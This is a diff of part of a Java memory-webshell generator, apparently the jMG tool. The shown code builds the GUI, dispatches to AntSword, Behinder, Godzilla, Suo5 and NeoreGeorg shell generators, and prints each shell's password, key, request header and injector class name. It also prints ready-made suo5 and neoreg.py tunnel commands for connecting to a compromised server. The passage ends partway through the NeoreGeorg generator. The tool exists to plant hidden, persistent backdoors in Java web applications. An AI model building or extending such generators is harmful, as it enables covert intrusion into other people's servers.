||||||
|
return new ScriptEngineManagerExpr().genMemShell(bytes);
|
||||||
|
}
|
||||||
|
return null;
|
||||||
|
}
|
||||||
|
|
||||||
|
public static void printResult(String[] results) throws Exception {
|
||||||
|
if (results != null && results.length > 0) {
|
||||||
|
String[] var3 = results;
|
||||||
|
int var4 = results.length;
|
||||||
|
|
||||||
|
for(int var5 = 0; var5 < var4; ++var5) {
|
||||||
|
String result = var3[var5];
|
||||||
|
TextPaneUtil.successPrintln(result);
|
||||||
|
}
|
||||||
|
} else {
|
||||||
|
TextPaneUtil.warningPrintln("暂不支持\n");
|
||||||
|
}
|
||||||
|
|
||||||
|
}
|
||||||
|
}
|
||||||
@@ -0,0 +1,183 @@
|
|||||||
|
package jmg.gui.util;
|
||||||
|
|
||||||
|
import com.formdev.flatlaf.FlatDarculaLaf;
|
||||||
|
import com.formdev.flatlaf.FlatDarkLaf;
|
||||||
|
import com.formdev.flatlaf.FlatIntelliJLaf;
|
||||||
|
import com.formdev.flatlaf.FlatLightLaf;
|
||||||
|
import com.formdev.flatlaf.themes.FlatMacDarkLaf;
|
||||||
|
import com.formdev.flatlaf.themes.FlatMacLightLaf;
|
||||||
|
import jmg.core.config.Constants;
|
||||||
|
|
||||||
|
import javax.swing.*;
|
||||||
|
import javax.swing.plaf.nimbus.NimbusLookAndFeel;
|
||||||
|
import java.awt.*;
|
||||||
|
import java.awt.datatransfer.Clipboard;
|
||||||
|
import java.awt.datatransfer.StringSelection;
|
||||||
|
import java.awt.event.ActionEvent;
|
||||||
|
import java.awt.event.ActionListener;
|
||||||
|
import java.io.BufferedWriter;
|
||||||
|
import java.io.FileWriter;
|
||||||
|
import java.io.IOException;
|
||||||
|
import java.io.PrintWriter;
|
||||||
|
import java.net.URI;
|
||||||
|
|
||||||
|
public class MenuUtil {
|
||||||
|
public static JMenuBar createMenuBar(JFrame frame) {
|
||||||
|
JMenuBar menuBar = new JMenuBar();
|
||||||
|
menuBar.add(createSettingMenu(frame));
|
||||||
|
menuBar.add(createAboutnMenu(frame));
|
||||||
|
return menuBar;
|
||||||
|
}
|
||||||
|
|
||||||
|
|
||||||
|
private static JMenu createSettingMenu(JFrame frame) {
|
||||||
|
JMenu settingsMenu = new JMenu("设置");
|
||||||
|
settingsMenu.add(MenuUtil.createThemeMenu(frame));
|
||||||
|
return settingsMenu;
|
||||||
|
}
|
||||||
|
|
||||||
|
|
||||||
|
public static JPopupMenu createPopupMenu(JFrame frame, JTextPane textPane) {
|
||||||
|
// 创建右键菜单
|
||||||
|
JPopupMenu popupMenu = new JPopupMenu();
|
||||||
|
JMenuItem copySelected = new JMenuItem("复制选中部分");
|
||||||
|
JMenuItem copyAll = new JMenuItem("复制全部");
|
||||||
|
JMenuItem saveAs = new JMenuItem("保存为");
|
||||||
|
|
||||||
|
// 添加菜单项的动作监听器
|
||||||
|
copySelected.addActionListener(new ActionListener() {
|
||||||
|
@Override
|
||||||
|
public void actionPerformed(ActionEvent e) {
|
||||||
|
String selectedText = textPane.getSelectedText();
|
||||||
|
if (selectedText != null) {
|
||||||
|
Clipboard clipboard = Toolkit.getDefaultToolkit().getSystemClipboard();
|
||||||
|
clipboard.setContents(new StringSelection(selectedText), null);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
});
|
||||||
|
|
||||||
|
copyAll.addActionListener(new ActionListener() {
|
||||||
|
@Override
|
||||||
|
public void actionPerformed(ActionEvent e) {
|
||||||
|
String allText = textPane.getText();
|
||||||
|
if (allText != null) {
|
||||||
|
Clipboard clipboard = Toolkit.getDefaultToolkit().getSystemClipboard();
|
||||||
|
clipboard.setContents(new StringSelection(allText), null);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
});
|
||||||
|
|
||||||
|
saveAs.addActionListener(new ActionListener() {
|
||||||
|
@Override
|
||||||
|
public void actionPerformed(ActionEvent e) {
|
||||||
|
JFileChooser fileChooser = new JFileChooser();
|
||||||
|
int result = fileChooser.showSaveDialog(frame);
|
||||||
|
if (result == JFileChooser.APPROVE_OPTION) {
|
||||||
|
String selectedFilePath = fileChooser.getSelectedFile().getAbsolutePath();
|
||||||
|
String textToSave = textPane.getText();
|
||||||
|
try (PrintWriter writer = new PrintWriter(new BufferedWriter(new FileWriter(selectedFilePath)))) {
|
||||||
|
writer.print(textToSave);
|
||||||
|
writer.flush();
|
||||||
|
JOptionPane.showMessageDialog(frame, "文件保存成功!");
|
||||||
|
} catch (IOException ex) {
|
||||||
|
JOptionPane.showMessageDialog(frame, "保存文件时出错:" + ex.getMessage(), "错误", JOptionPane.ERROR_MESSAGE);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
});
|
||||||
|
|
||||||
|
|
||||||
|
popupMenu.add(copySelected);
|
||||||
|
popupMenu.add(copyAll);
|
||||||
|
popupMenu.add(saveAs);
|
||||||
|
return popupMenu;
|
||||||
|
}
|
||||||
|
|
||||||
|
private static JMenu createThemeMenu(JFrame frame) {
|
||||||
|
JMenu themeMenu = new JMenu("主题");
|
||||||
|
|
||||||
|
String[] themeNames = {"FlatLight", "FlatDarcula", "FlatIntelliJ", "FlatMacDark", "FlatDark", "FlatMacLight"};
|
||||||
|
|
||||||
|
for (String themeName : themeNames) {
|
||||||
|
JMenuItem themeItem = createThemeMenuItem(frame, themeName);
|
||||||
|
themeMenu.add(themeItem);
|
||||||
|
}
|
||||||
|
return themeMenu;
|
||||||
|
}
|
||||||
|
|
||||||
|
private static JMenuItem createThemeMenuItem(JFrame frame, String themeName) {
|
||||||
|
JMenuItem themeItem = new JMenuItem(themeName);
|
||||||
|
themeItem.addActionListener(new ActionListener() {
|
||||||
|
@Override
|
||||||
|
public void actionPerformed(ActionEvent e) {
|
||||||
|
setLookAndFeel(themeName, frame);
|
||||||
|
}
|
||||||
|
});
|
||||||
|
return themeItem;
|
||||||
|
}
|
||||||
|
|
||||||
|
private static void setLookAndFeel(String themeName, JFrame frame) {
|
||||||
|
try {
|
||||||
|
switch (themeName) {
|
||||||
|
case "FlatLight":
|
||||||
|
UIManager.setLookAndFeel(new FlatLightLaf());
|
||||||
|
break;
|
||||||
|
case "FlatDark":
|
||||||
|
UIManager.setLookAndFeel(new FlatDarkLaf());
|
||||||
|
break;
|
||||||
|
case "FlatIntelliJ":
|
||||||
|
UIManager.setLookAndFeel(new FlatIntelliJLaf());
|
||||||
|
break;
|
||||||
|
case "FlatDarcula":
|
||||||
|
UIManager.setLookAndFeel(new FlatDarculaLaf());
|
||||||
|
break;
|
||||||
|
case "FlatMacLight":
|
||||||
|
UIManager.setLookAndFeel(new FlatMacLightLaf());
|
||||||
|
break;
|
||||||
|
case "FlatMacDark":
|
||||||
|
UIManager.setLookAndFeel(new FlatMacDarkLaf());
|
||||||
|
break;
|
||||||
|
default:
|
||||||
|
UIManager.setLookAndFeel(new NimbusLookAndFeel());
|
||||||
|
break;
|
||||||
|
}
|
||||||
|
SwingUtilities.updateComponentTreeUI(frame);
|
||||||
|
} catch (UnsupportedLookAndFeelException ex) {
|
||||||
|
throw new RuntimeException(ex);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
|
||||||
|
private static JMenu createAboutnMenu(JFrame frame) {
|
||||||
|
try {
|
||||||
|
JMenu verMenu = new JMenu("关于");
|
||||||
|
JMenuItem authorItem = new JMenuItem("作者");
|
||||||
|
JMenuItem versionItem = new JMenuItem("版本");
|
||||||
|
versionItem.addActionListener(e -> {
|
||||||
|
try {
|
||||||
|
JOptionPane.showMessageDialog(frame, "社区版 " + Constants.JMG_VERSION);
|
||||||
|
} catch (Exception ex) {
|
||||||
|
ex.printStackTrace();
|
||||||
|
}
|
||||||
|
});
|
||||||
|
|
||||||
|
authorItem.addActionListener(e -> {
|
||||||
|
try {
|
||||||
|
Desktop desktop = Desktop.getDesktop();
|
||||||
|
URI oURL = new URI("https://github.com/pen4uin");
|
||||||
|
desktop.browse(oURL);
|
||||||
|
} catch (Exception ex) {
|
||||||
|
ex.printStackTrace();
|
||||||
|
}
|
||||||
|
});
|
||||||
|
|
||||||
|
authorItem.setToolTipText("pen4uin");
|
||||||
|
verMenu.add(authorItem);
|
||||||
|
verMenu.add(versionItem);
|
||||||
|
return verMenu;
|
||||||
|
} catch (Exception ex) {
|
||||||
|
ex.printStackTrace();
|
||||||
|
}
|
||||||
|
return null;
|
||||||
|
}
|
||||||
|
}
|
||||||
@@ -0,0 +1,152 @@
|
|||||||
|
package jmg.gui.util;
|
||||||
|
|
||||||
|
import jmg.core.config.AbstractConfig;
|
||||||
|
import jmg.core.config.Constants;
|
||||||
|
import jmg.core.jMGCodeApi;
|
||||||
|
import jmg.core.util.CommonUtil;
|
||||||
|
|
||||||
|
public class ResultUtil {
|
||||||
|
|
||||||
|
public static void printAntSwordBasicInfo(AbstractConfig config) {
|
||||||
|
TextPaneUtil.successPrintln("基础信息:");
|
||||||
|
TextPaneUtil.rawPrintln("");
|
||||||
|
TextPaneUtil.rawPrintln("密码: " + config.getPass());
|
||||||
|
TextPaneUtil.rawPrintln("请求路径: " + config.getUrlPattern());
|
||||||
|
TextPaneUtil.rawPrintln("请求头: " + config.getHeaderName() + ": " + config.getHeaderValue());
|
||||||
|
TextPaneUtil.rawPrintln("脚本类型: JSP");
|
||||||
|
TextPaneUtil.rawPrintln("");
|
||||||
|
|
||||||
|
}
|
||||||
|
|
||||||
|
public static void printGodzillaBasicInfo(AbstractConfig config) {
|
||||||
|
switch (config.getShellType()) {
|
||||||
|
case Constants.SHELL_LISTENER:
|
||||||
|
case Constants.SHELL_FILTER:
|
||||||
|
case Constants.SHELL_INTERCEPTOR:
|
||||||
|
TextPaneUtil.successPrintln("基础信息:");
|
||||||
|
TextPaneUtil.rawPrintln("");
|
||||||
|
TextPaneUtil.rawPrintln("加密器: JAVA_AES_BASE64");
|
||||||
|
TextPaneUtil.rawPrintln("密码: " + config.getPass());
|
||||||
|
TextPaneUtil.rawPrintln("密钥: " + config.getKey());
|
||||||
|
TextPaneUtil.rawPrintln("请求路径: " + config.getUrlPattern());
|
||||||
|
TextPaneUtil.rawPrintln("请求头: " + config.getHeaderName() + ": " + config.getHeaderValue());
|
||||||
|
TextPaneUtil.rawPrintln("脚本类型: JSP");
|
||||||
|
TextPaneUtil.rawPrintln("");
|
||||||
|
break;
|
||||||
|
case Constants.SHELL_WF_HANDLERMETHOD:
|
||||||
|
TextPaneUtil.successPrintln("基础信息:");
|
||||||
|
TextPaneUtil.rawPrintln("");
|
||||||
|
TextPaneUtil.rawPrintln("加密器: JAVA_AES_BASE64");
|
||||||
|
TextPaneUtil.rawPrintln("密码: " + config.getPass());
|
||||||
|
TextPaneUtil.rawPrintln("密钥: " + config.getKey());
|
||||||
|
TextPaneUtil.rawPrintln("请求路径: " + config.getUrlPattern());
|
||||||
|
TextPaneUtil.rawPrintln("");
|
||||||
|
break;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
public static void printBehinderBasicInfo(AbstractConfig config) {
|
||||||
|
TextPaneUtil.successPrintln("基础信息:");
|
||||||
|
TextPaneUtil.rawPrintln("");
|
||||||
|
TextPaneUtil.rawPrintln("密码: " + config.getPass());
|
||||||
|
TextPaneUtil.rawPrintln("请求路径: " + config.getUrlPattern());
|
||||||
|
TextPaneUtil.rawPrintln("请求头: " + config.getHeaderName() + ": " + config.getHeaderValue());
|
||||||
|
TextPaneUtil.rawPrintln("脚本类型: JSP");
|
||||||
|
TextPaneUtil.rawPrintln("内存马类名: " + config.getShellClassName());
|
||||||
|
TextPaneUtil.rawPrintln("注入器类名: " + config.getInjectorClassName());
|
||||||
|
TextPaneUtil.rawPrintln("");
|
||||||
|
|
||||||
|
}
|
||||||
|
|
||||||
|
public static void printSuo5BasicInfo(AbstractConfig config) {
|
||||||
|
TextPaneUtil.successPrintln("基础信息:");
|
||||||
|
TextPaneUtil.rawPrintln("");
|
||||||
|
TextPaneUtil.rawPrintln("请求路径: " + config.getUrlPattern());
|
||||||
|
TextPaneUtil.rawPrintln("连接指令:");
|
||||||
|
if (config.getHeaderName().equalsIgnoreCase("user-agent")) {
|
||||||
|
TextPaneUtil.rawPrintln(String.format(" ./suo5 -d --ua '%s' -t http://", config.getHeaderValue()));
|
||||||
|
TextPaneUtil.rawPrintln(String.format(" ./suo5 -d -l 0.0.0.0:7788 --auth test:test123 --ua '%s' -t http://", config.getHeaderValue()));
|
||||||
|
} else {
|
||||||
|
TextPaneUtil.rawPrintln(String.format(" ./suo5 -H '%s: %s' -t http://", config.getHeaderName(), config.getHeaderValue()));
|
||||||
|
TextPaneUtil.rawPrintln(String.format(" ./suo5 -l 0.0.0.0:7788 --auth test:test123 -H '%s: %s' -t http://", config.getHeaderName(), config.getHeaderValue()));
|
||||||
|
}
|
||||||
|
TextPaneUtil.rawPrintln("");
|
||||||
|
}
|
||||||
|
|
||||||
|
public static void printNeoreGeorgBasicInfo(AbstractConfig config) {
|
||||||
|
TextPaneUtil.successPrintln("基础信息:");
|
||||||
|
TextPaneUtil.rawPrintln("");
|
||||||
|
TextPaneUtil.rawPrintln("密钥: " + config.getKey());
|
||||||
|
TextPaneUtil.rawPrintln("请求路径: " + config.getUrlPattern());
|
||||||
|
TextPaneUtil.rawPrintln("连接指令:");
|
||||||
|
TextPaneUtil.rawPrintln(String.format(" python3 neoreg.py -k %s -H '%s:%s' -u http://", config.getKey(), config.getHeaderName(), config.getHeaderValue()));
|
||||||
|
TextPaneUtil.rawPrintln(String.format(" python3 neoreg.py --skip --proxy http://127.0.0.1:8080 -vv -k %s -H '%s:%s' -u http:// ", config.getKey(), config.getHeaderName(), config.getHeaderValue()));
|
||||||
|
TextPaneUtil.rawPrintln("");
|
||||||
|
}
|
||||||
|
|
||||||
|
public static void printDebugInfo(AbstractConfig config) {
|
||||||
|
TextPaneUtil.successPrintln("调试信息:");
|
||||||
|
TextPaneUtil.rawPrintln("");
|
||||||
|
TextPaneUtil.rawPrintln("内存马类名: " + config.getShellClassName());
|
||||||
|
TextPaneUtil.rawPrintln("注入器类名: " + config.getInjectorClassName());
|
||||||
|
TextPaneUtil.rawPrintln("内存马字节流长度: " + config.getShellBytesLength());
|
||||||
|
TextPaneUtil.rawPrintln("注入器字节流长度: " + config.getInjectorBytesLength());
|
||||||
|
TextPaneUtil.rawPrintln("");
|
||||||
|
}
|
||||||
|
|
||||||
|
public static void resultOutput(AbstractConfig config) throws Throwable {
|
||||||
|
switch (config.getToolType()) {
|
||||||
|
case Constants.TOOL_ANTSWORD:
|
||||||
|
printAntSwordBasicInfo(config);
|
||||||
|
break;
|
||||||
|
case Constants.TOOL_BEHINDER:
|
||||||
|
printBehinderBasicInfo(config);
|
||||||
|
break;
|
||||||
|
case Constants.TOOL_GODZILLA:
|
||||||
|
printGodzillaBasicInfo(config);
|
||||||
|
break;
|
||||||
|
case Constants.TOOL_SUO5:
|
||||||
|
printSuo5BasicInfo(config);
|
||||||
|
break;
|
||||||
|
case Constants.TOOL_NEOREGEORG:
|
||||||
|
printNeoreGeorgBasicInfo(config);
|
||||||
|
break;
|
||||||
|
}
|
||||||
|
|
||||||
|
|
||||||
|
if (config.getExprEncoder() != null) {
|
||||||
|
jMGCodeApi codeApi = new jMGCodeApi(config);
|
||||||
|
codeApi.generate();
|
||||||
|
String[] results = JExprUtil.genExprPayload(config);
|
||||||
|
JExprUtil.printResult(results);
|
||||||
|
} else {
|
||||||
|
switch (config.getOutputFormat()) {
|
||||||
|
case Constants.FORMAT_CLASS:
|
||||||
|
case Constants.FORMAT_JSP:
|
||||||
|
case Constants.FORMAT_JAR:
|
||||||
|
case Constants.FORMAT_JAR_AGENT:
|
||||||
|
try {
|
||||||
|
CommonUtil.transformToFile(config);
|
||||||
|
TextPaneUtil.successPrintln("结果输出:\n");
|
||||||
|
TextPaneUtil.rawPrintln(config.getSavePath() + "\n");
|
||||||
|
} catch (Throwable e) {
|
||||||
|
}
|
||||||
|
break;
|
||||||
|
case Constants.FORMAT_BCEL:
|
||||||
|
case Constants.FORMAT_JS:
|
||||||
|
case Constants.FORMAT_BASE64:
|
||||||
|
case Constants.FORMAT_BIGINTEGER:
|
||||||
|
try {
|
||||||
|
String result = CommonUtil.transformTotext(config);
|
||||||
|
TextPaneUtil.successPrintln("结果输出:\n");
|
||||||
|
TextPaneUtil.rawPrintln(result + "\n");
|
||||||
|
} catch (Throwable e) {
|
||||||
|
}
|
||||||
|
break;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
printDebugInfo(config);
|
||||||
|
}
|
||||||
|
|
||||||
|
}
|
||||||
@@ -0,0 +1,41 @@
|
|||||||
|
package jmg.gui.util;
|
||||||
|
|
||||||
|
import jmg.antsword.generator.AntSwordGenerator;
|
||||||
|
import jmg.behinder.generator.BehinderGenerator;
|
||||||
|
import jmg.core.config.AbstractConfig;
|
||||||
|
import jmg.core.config.Constants;
|
||||||
|
import jmg.core.generator.IShellGenerator;
|
||||||
|
import jmg.custom.generator.CustomGenerator;
|
||||||
|
import jmg.godzilla.generator.GodzillaGenerator;
|
||||||
|
import jmg.neoregeorg.generator.NeoreGeorgGenerator;
|
||||||
|
import jmg.suo5.generator.Suo5Generator;
|
||||||
|
|
||||||
|
public class ShellGeneratorUtil {
|
||||||
|
IShellGenerator shellGenerator;
|
||||||
|
|
||||||
|
public void makeShell(AbstractConfig config) throws Exception {
|
||||||
|
switch (config.getToolType()) {
|
||||||
|
case Constants.TOOL_ANTSWORD:
|
||||||
|
shellGenerator = new AntSwordGenerator();
|
||||||
|
break;
|
||||||
|
case Constants.TOOL_BEHINDER:
|
||||||
|
shellGenerator = new BehinderGenerator();
|
||||||
|
break;
|
||||||
|
case Constants.TOOL_GODZILLA:
|
||||||
|
shellGenerator = new GodzillaGenerator();
|
||||||
|
break;
|
||||||
|
case Constants.TOOL_SUO5:
|
||||||
|
shellGenerator = new Suo5Generator();
|
||||||
|
break;
|
||||||
|
case Constants.TOOL_NEOREGEORG:
|
||||||
|
shellGenerator = new NeoreGeorgGenerator();
|
||||||
|
break;
|
||||||
|
case Constants.TOOL_CUSTOM:
|
||||||
|
shellGenerator = new CustomGenerator();
|
||||||
|
break;
|
||||||
|
default:
|
||||||
|
throw new IllegalArgumentException("Unsupported tool type: " + config.getToolType());
|
||||||
|
}
|
||||||
|
shellGenerator.makeShell(config);
|
||||||
|
}
|
||||||
|
}
|
||||||
@@ -0,0 +1,144 @@
|
|||||||
|
package jmg.gui.util;
|
||||||
|
|
||||||
|
|
||||||
|
import javax.swing.*;
|
||||||
|
import javax.swing.text.*;
|
||||||
|
import java.awt.*;
|
||||||
|
|
||||||
|
/**
|
||||||
|
* 控制文本颜色,提升用户体验
|
||||||
|
*/
|
||||||
|
public class TextPaneUtil {
|
||||||
|
private static JTextPane textPane;
|
||||||
|
private static final Font font;
|
||||||
|
private static final SimpleAttributeSet ERROR_ATT;
|
||||||
|
private static final SimpleAttributeSet WARN_ATT;
|
||||||
|
private static final SimpleAttributeSet SUCCESS_ATT;
|
||||||
|
private static final SimpleAttributeSet RAW_ATT;
|
||||||
|
private static final SimpleAttributeSet START_ATT;
|
||||||
|
|
||||||
|
|
||||||
|
static {
|
||||||
|
font = new Font("Lucida Grande", Font.PLAIN, 13);
|
||||||
|
ERROR_ATT = ComponentUtil.createSimpleAttributeSet(new Color(255, 0, 0));
|
||||||
|
WARN_ATT = ComponentUtil.createSimpleAttributeSet(new Color(255,165,0));
|
||||||
|
SUCCESS_ATT = ComponentUtil.createSimpleAttributeSet(new Color(70,135,55));
|
||||||
|
RAW_ATT = ComponentUtil.createSimpleAttributeSet(new Color(0, 0, 0));
|
||||||
|
START_ATT = ComponentUtil.createSimpleAttributeSet(Color.gray);
|
||||||
|
}
|
||||||
|
|
||||||
|
|
||||||
|
public static void rawPrintln(String str) {
|
||||||
|
try {
|
||||||
|
textPane.getDocument().insertString(textPane.getDocument().getLength(), String.format("%s\n", str), RAW_ATT);
|
||||||
|
} catch (Exception e) {
|
||||||
|
e.printStackTrace();
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
public static void successPrintln(String str) {
|
||||||
|
|
||||||
|
try {
|
||||||
|
// 对 jexpr-encoder-utils 输出的处理
|
||||||
|
if (str.startsWith("[+]")) {
|
||||||
|
textPane.getDocument().insertString(textPane.getDocument().getLength(), String.format("%s\n", str.replace("==>", "==>\n").replace("<==", "<==\n\n\n\n")), SUCCESS_ATT);
|
||||||
|
} else {
|
||||||
|
textPane.getDocument().insertString(textPane.getDocument().getLength(), String.format("[+] %s\n", str), SUCCESS_ATT);
|
||||||
|
|
||||||
|
}
|
||||||
|
} catch (Exception e) {
|
||||||
|
e.printStackTrace();
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
public static void warningPrintln(String str) {
|
||||||
|
try {
|
||||||
|
textPane.getDocument().insertString(textPane.getDocument().getLength(), String.format("[!] %s\n", str), WARN_ATT);
|
||||||
|
} catch (Exception e) {
|
||||||
|
e.printStackTrace();
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
public static void errorPrintln(String str) {
|
||||||
|
try {
|
||||||
|
textPane.getDocument().insertString(textPane.getDocument().getLength(), String.format("[x] %s\n", str), ERROR_ATT);
|
||||||
|
} catch (Exception e) {
|
||||||
|
e.printStackTrace();
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
public static void startPrintln(String str) {
|
||||||
|
try {
|
||||||
|
textPane.getDocument().insertString(textPane.getDocument().getLength(), String.format("[>] %s\n", str), START_ATT);
|
||||||
|
} catch (Exception e) {
|
||||||
|
e.printStackTrace();
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
/////////////////////////////////////////////////////////////
|
||||||
|
// 以下内部类全都用于实现自动强制折行
|
||||||
|
// https://github.com/MrYKK/oimchat/blob/598aedd94767667498d66d1ed682f073f3f181b7/oim-fx/src/test/java/swing/JIMSendTextPane.java
|
||||||
|
/////////////////////////////////////////////////////////////
|
||||||
|
public static class WarpEditorKit extends StyledEditorKit {
|
||||||
|
private static final long serialVersionUID = 1L;
|
||||||
|
private ViewFactory defaultFactory = new WarpColumnFactory();
|
||||||
|
|
||||||
|
@Override
|
||||||
|
public ViewFactory getViewFactory() {
|
||||||
|
return defaultFactory;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
private static class WarpColumnFactory implements ViewFactory {
|
||||||
|
|
||||||
|
public View create(Element elem) {
|
||||||
|
String kind = elem.getName();
|
||||||
|
if (kind != null) {
|
||||||
|
if (kind.equals(AbstractDocument.ContentElementName)) {
|
||||||
|
return new WarpLabelView(elem);
|
||||||
|
} else if (kind.equals(AbstractDocument.ParagraphElementName)) {
|
||||||
|
return new ParagraphView(elem);
|
||||||
|
} else if (kind.equals(AbstractDocument.SectionElementName)) {
|
||||||
|
return new BoxView(elem, View.Y_AXIS);
|
||||||
|
} else if (kind.equals(StyleConstants.ComponentElementName)) {
|
||||||
|
return new ComponentView(elem);
|
||||||
|
} else if (kind.equals(StyleConstants.IconElementName)) {
|
||||||
|
return new IconView(elem);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
// default to text display
|
||||||
|
return new LabelView(elem);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
private static class WarpLabelView extends LabelView {
|
||||||
|
|
||||||
|
public WarpLabelView(Element elem) {
|
||||||
|
super(elem);
|
||||||
|
}
|
||||||
|
|
||||||
|
@Override
|
||||||
|
public float getMinimumSpan(int axis) {
|
||||||
|
switch (axis) {
|
||||||
|
case View.X_AXIS:
|
||||||
|
return 0;
|
||||||
|
case View.Y_AXIS:
|
||||||
|
return super.getMinimumSpan(axis);
|
||||||
|
default:
|
||||||
|
throw new IllegalArgumentException("Invalid axis: " + axis);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
/////////////////////////////////////////////////////////////////////////////////
|
||||||
|
|
||||||
|
public static JTextPane getTextPane() {
|
||||||
|
return textPane;
|
||||||
|
}
|
||||||
|
|
||||||
|
public static void initTextPane(JTextPane textPane) {
|
||||||
|
TextPaneUtil.textPane = textPane;
|
||||||
|
TextPaneUtil.textPane.setEditorKit(new WarpEditorKit());
|
||||||
|
TextPaneUtil.textPane.setFont(font);
|
||||||
|
}
|
||||||
|
}
|
||||||
@@ -0,0 +1,14 @@
|
|||||||
|
format.text=Output Format
|
||||||
|
generate.text=Generate
|
||||||
|
headerName.text=Header Key
|
||||||
|
headerValue.text=Header Value
|
||||||
|
injectorClsName.text=Injector Class Name
|
||||||
|
key.text=Key
|
||||||
|
pass.text=Password
|
||||||
|
server.text=Server Type
|
||||||
|
shell.text=Shell Type
|
||||||
|
shellClsName.text=Shell Class Name
|
||||||
|
tool.text=Tool Type
|
||||||
|
uri.text=Request URI
|
||||||
|
gadget.text=Enable Gadget Wrapping
|
||||||
|
expr.text=Enable Expr Wrapping
|
||||||
@@ -0,0 +1,14 @@
|
|||||||
|
format.text=Output Format
|
||||||
|
generate.text=Generate
|
||||||
|
headerName.text=Request Header Key
|
||||||
|
headerValue.text=Request Header Value
|
||||||
|
injectorClsName.text=Injector Class Name
|
||||||
|
key.text=Key
|
||||||
|
pass.text=Password
|
||||||
|
server.text=Server Type
|
||||||
|
shell.text=Shell Type
|
||||||
|
shellClsName.text=Shell Class Name
|
||||||
|
tool.text=Tool Type
|
||||||
|
uri.text=Request URI
|
||||||
|
gadget.text=Enable Gadget Wrapping
|
||||||
|
expr.text=Enable Expr Wrapping
|
||||||
@@ -0,0 +1,14 @@
|
|||||||
|
format.text=\u8F93\u51FA\u683C\u5F0F
|
||||||
|
generate.text=\u751F\u6210
|
||||||
|
headerName.text=\u8BF7\u6C42\u5934\u952E
|
||||||
|
headerValue.text=\u8BF7\u6C42\u5934\u503C
|
||||||
|
injectorClsName.text=\u6CE8\u5165\u5668\u7C7B\u540D
|
||||||
|
key.text=\u5BC6\u94A5
|
||||||
|
pass.text=\u5BC6\u7801
|
||||||
|
server.text=\u4E2D\u95F4\u4EF6/\u6846\u67B6
|
||||||
|
shell.text=\u7EC4\u4EF6\u7C7B\u578B
|
||||||
|
shellClsName.text=\u5185\u5B58\u9A6C\u7C7B\u540D
|
||||||
|
tool.text=\u5DE5\u5177\u7C7B\u578B
|
||||||
|
uri.text=\u8BF7\u6C42\u8DEF\u5F84
|
||||||
|
gadget.text=\u4E13\u9879\u6F0F\u6D1E\u5C01\u88C5
|
||||||
|
expr.text=\u8868\u8FBE\u5F0F\u8BED\u53E5\u5C01\u88C5
|
||||||
@@ -0,0 +1,14 @@
|
|||||||
|
format.text=输出格式
|
||||||
|
generate.text=生成
|
||||||
|
headerName.text=请求头键
|
||||||
|
headerValue.text=请求头值
|
||||||
|
injectorClsName.text=注入器类名
|
||||||
|
key.text=密钥
|
||||||
|
pass.text=密码
|
||||||
|
server.text=中间件/框架
|
||||||
|
shell.text=组件类型
|
||||||
|
shellClsName.text=内存马类名
|
||||||
|
tool.text=工具类型
|
||||||
|
uri.text=请求路径
|
||||||
|
gadget.text=专项漏洞封装
|
||||||
|
expr.text=表达式语句封装
|
||||||
@@ -0,0 +1,21 @@
|
|||||||
|
<project xmlns="http://maven.apache.org/POM/4.0.0" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
|
||||||
|
xsi:schemaLocation="http://maven.apache.org/POM/4.0.0 http://maven.apache.org/maven-v4_0_0.xsd">
|
||||||
|
<modelVersion>4.0.0</modelVersion>
|
||||||
|
<parent>
|
||||||
|
<groupId>jmg</groupId>
|
||||||
|
<artifactId>java-memshell-generator</artifactId>
|
||||||
|
<version>${revision}</version>
|
||||||
|
</parent>
|
||||||
|
<artifactId>jmg-neoregeorg</artifactId>
|
||||||
|
|
||||||
|
|
||||||
|
<dependencies>
|
||||||
|
<dependency>
|
||||||
|
<groupId>jmg</groupId>
|
||||||
|
<artifactId>jmg-core</artifactId>
|
||||||
|
<version>${revision}</version>
|
||||||
|
<scope>compile</scope>
|
||||||
|
</dependency>
|
||||||
|
</dependencies>
|
||||||
|
|
||||||
|
</project>
|
||||||
@@ -0,0 +1,56 @@
|
|||||||
|
package jmg.neoregeorg.generator;
|
||||||
|
|
||||||
|
import javassist.ClassClassPath;
|
||||||
|
import javassist.CtClass;
|
||||||
|
|
||||||
|
import jmg.core.config.AbstractConfig;
|
||||||
|
import jmg.core.config.Constants;
|
||||||
|
import jmg.core.generator.IShellGenerator;
|
||||||
|
import jmg.core.util.CommonUtil;
|
||||||
|
import jmg.core.util.JavassistUtil;
|
||||||
|
import jmg.core.util.ResponseUtil;
|
||||||
|
import jmg.neoregeorg.util.ShellUtil;
|
||||||
|
|
||||||
|
public class NeoreGeorgGenerator implements IShellGenerator {
|
||||||
|
|
||||||
|
@Override
|
||||||
|
public void initShell(AbstractConfig config) {
|
||||||
|
config.setKey("key");
|
||||||
|
}
|
||||||
|
|
||||||
|
@Override
|
||||||
|
public byte[] makeShell(AbstractConfig config) throws Exception {
|
||||||
|
initShell(config);
|
||||||
|
String shellName = ShellUtil.getShellName(config.getToolType(), config.getShellType());
|
||||||
|
String shellClassName = ShellUtil.getShellClassName(shellName);
|
||||||
|
byte[] bytes = modifyShell(shellClassName, config);
|
||||||
|
config.setShellBytes(bytes);
|
||||||
|
config.setShellBytesLength(bytes.length);
|
||||||
|
config.setShellGzipBase64String(CommonUtil.encodeBase64(CommonUtil.gzipCompress(bytes)));
|
||||||
|
return bytes;
|
||||||
|
}
|
||||||
|
|
||||||
|
@Override
|
||||||
|
public byte[] modifyShell(String className, AbstractConfig config) {
|
||||||
|
byte[] bytes = new byte[0];
|
||||||
|
try {
|
||||||
|
pool.insertClassPath(new ClassClassPath(NeoreGeorgGenerator.class));
|
||||||
|
